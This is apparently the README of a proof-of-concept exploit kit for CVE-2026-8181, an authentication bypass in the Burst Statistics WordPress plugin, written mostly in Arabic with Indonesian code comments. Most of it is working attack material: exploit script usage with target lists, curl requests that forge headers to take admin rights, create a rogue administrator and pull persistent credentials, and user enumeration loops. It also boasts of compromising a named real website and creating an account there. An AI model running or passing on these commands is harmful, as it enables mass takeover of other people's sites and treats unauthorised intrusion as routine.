
CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 تجاوز المصادقة غير المصادق عليه للاستيلاء على حساب المسؤول | إثبات المفهوم
| العنصر | التفاصيل |
|---|
| معرف CVE | CVE-2026-8181 |
| البرنامج المساعد | Burst Statistics – Privacy-Friendly WordPress Analytics |
| الإصدارات المتأثرة | 3.4.0 – 3.4.1.1 |
| الإصدار المُصحَّح | 3.4.2 |
| درجة CVSS | 9.8 (حرجة) |
| النوع | CWE-287: Improper Authentication |
| متجه الهجوم | شبكة / عن بُعد / بدون مصادقة |
| التركيبات النشطة | ~200,000+ |
| المكتشف | PRISM, Wordfence Threat Intelligence |
| تاريخ النشر | 8 مايو 2026 |
ثغرة تجاوز المصادقة الحرجة في البرنامج المساعد Burst Statistics لووردبريس من الإصدار 3.4.0 إلى 3.4.1.1 تتيح للمهاجم بدون مصادقة الحصول على وصول كامل بصلاحيات المسؤول في ووردبريس فقط بمعرفة اسم مستخدم المسؤول. وتتمثل النتيجة في الاستيلاء الكامل على حساب المسؤول، بما في ذلك إنشاء حسابات جديدة، وتعديل المحتوى، وحتى تثبيت برامج مساعدة ضارة.
تقع الثغرة في الدالة is_mainwp_authenticated() داخل الملف includes/Frontend/class-mainwp-proxy.php:
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field(
wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
);
if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
$credentials = base64_decode(substr($auth_header, 6), true);
// ... parse username:password ...
$is_valid = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($is_valid)) { // ← BUG: null BUKAN WP_Error!
return false;
}
$user = get_user_by('login', $username); // ← Auth hanya berdasarkan username!
if (!$user || !user_can($user, 'manage_burst_statistics')) {
return false;
}
wp_set_current_user($user->ID); // ← Grant admin privileges
return true;
}
return false;
}
الخطأ الرئيسي: تُرجع wp_authenticate_application_password(null, $username, $password) القيمة null (وليس WP_Error) عندما تكون كلمات مرور التطبيقات غير متاحة، ويحدث ذلك في الحالات التالية:
wp_is_application_passwords_available() القيمة falseis_ssl() القيمة falseنظرًا لأن is_wp_error(null) = false، يواصل الكود التنفيذ إلى get_user_by('login', $username) الذي يقوم بالمصادقة بناءً على اسم المستخدم فقط دون أي تحقق من كلمة المرور على الإطلاق.
يتم استدعاء الدالة has_admin_access() عند ربط plugins_loaded (الأولوية 9) في class-burst.php السطر 118:
if ($this->has_admin_access()) {
$this->admin = new Admin();
$this->admin->init();
}
يعمل هذا الربط قبل معالجة مسارات REST API، وبالتالي فإن wp_set_current_user() يمنح صلاحيات المسؤول لجميع الطلبات — وليس فقط لنقاط نهاية Burst.
Attacker ──HTTP Request──▶ WordPress
Headers:
X-BURSTMAINWP: 1
Authorization: Basic base64(admin:anything)
│
▼
[plugins_loaded hook fires]
│
Burst::bootstrap() → has_admin_access()
│
HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
│
wp_authenticate_application_password(null, 'admin', 'anything')
│
Situs HTTP → wp_is_application_passwords_available() = false
│
Return null (BUKAN WP_Error)
│
is_wp_error(null) = false ← BYPASS!
│
get_user_by('login', 'admin') → found
│
wp_set_current_user(admin_id) → FULL ADMIN
│
has_admin_access() = true
│
[REST API memproses request dengan konteks admin]
│
Attacker mengakses SELURUH endpoint WordPress sebagai administrator
pip3 install requests
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k
# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k
# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k
python3 poc_CVE-2026-8181.py
الوضع التفاعلي:
.txt، نطاق واحد في كل سطر)صيغة targets.txt:
target1.com
target2.com
192.168.1.100
subdomain.example.org
# Step 1: Verifikasi auth bypass
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
"http://target.com/?rest_route=/wp/v2/users/me&context=edit"
# Step 2: Buat akun administrator baru
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/wp/v2/users" \
-d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'
# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/burst/v1/mainwp-auth" \
-d '{}'
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'
# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'
# Method 3: Author enumeration
for i in $(seq 1 5); do
curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done
تم إجراء الاختبار على WordPress 6.9 مع Burst Statistics 3.4.1.1 (localhost):
| الاختبار | النتيجة | الدليل |
|---|---|---|
الوصول إلى /wp/v2/users/me بدون مصادقة | فشل | rest_not_logged_in |
| الوصول باستخدام رؤوس التجاوز | نجح | ملف المسؤول + البريد الإلكتروني + الأدوار |
| إنشاء حساب مسؤول جديد | نجح | معرف المستخدم 2، الدور: administrator |
| قراءة إعدادات ووردبريس | نجح | عنوان الموقع، بريد المسؤول، الرابط |
| الحصول على كلمة مرور التطبيق | نجح | رمز Base64 admin:password |
| قائمة البرامج المساعدة المثبتة | نجح | قائمة كاملة مع الإصدارات |
| الهدف | النتيجة |
|---|---|
ausdermitte-binz.de | تم الاختراق بنجاح — Burst 3.4.1.1، تجاوز عبر binzwpadmin، تم إنشاء حساب xenon1337 (المعرف: 30) |
يعالج الإصلاح في الإصدار 3.4.2 عدة مشكلات:
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) { // ← Cek WP_User, bukan !WP_Error
return false;
}
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
add_option()wp_application_passwords)X-BURSTMAINWP: 1 من عناوين IP خارجيةwp_users بحثًا عن حسابات مسؤول جديدةwp_options بحثًا عن القيمة المؤقتة burst_mainwp_app_token_*| الملف | الوصف |
|---|---|
exploit_CVE-2026-8181.py | استغلال PoC لهدف واحد |
poc_CVE-2026-8181.py | ماسح شامل متعدد الأهداف مع خيوط المعالجة |
README.md | هذه الوثائق |
هذه الأداة وهذه الوثائق مخصصة فقط لاختبارات الأمان المشروعة بإذن صريح. الاستخدام غير المصرح به لأنظمة ليست ملكك أو بدون إذن كتابي غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام.